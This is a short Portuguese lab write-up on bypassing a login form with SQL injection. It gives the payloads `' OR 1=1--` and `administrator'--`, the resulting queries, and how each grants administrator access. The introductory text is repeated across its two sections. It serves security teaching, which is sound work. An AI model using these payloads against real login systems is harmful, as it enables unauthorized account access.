SQL Injection

Contornar Login

SQL Injection - Contornar Login

A ideia deste lab é novamente contornar o mecanismo de login e através de uma injeção SQl, obter autenticação na aplicação com a conta administrator. Vamos novamente supor que a query que está a ser efetuada é algo do género:

SELECT * FROM users WHERE username= '$username' AND password= '$password;

Injeção:
$username: ' OR 1=1--
$password: qualquer_coisa

Query: SELECT * FROM users WHERE username= ' OR 1=1--**' AND password= '**qualquer_coisa**';**

Resultado: Como não foi especificado o username, a query retorna a informação do primeiro usuário registado no banco de dados, que foi o administrator, permitindo assim a nossa autenticação com esta conta.

SQL Injection - Contornar Login

A ideia deste lab é novamente contornar o mecanismo de login e através de uma injeção SQl, obter autenticação na aplicação com a conta administrator. Vamos novamente supor que a query que está a ser efetuada é algo do género:

SELECT * FROM users WHERE username= '$username' AND password= '$password;

Injeção:
$username: administrator'--
$password: qualquer_coisa

Query: SELECT * FROM users WHERE username= 'administrator'--**' AND password= '**qualquer_coisa**';**

Resultado: A query retorna a informação da conta do usuário administrator, permitindo assim a autenticação com esta conta de usuário.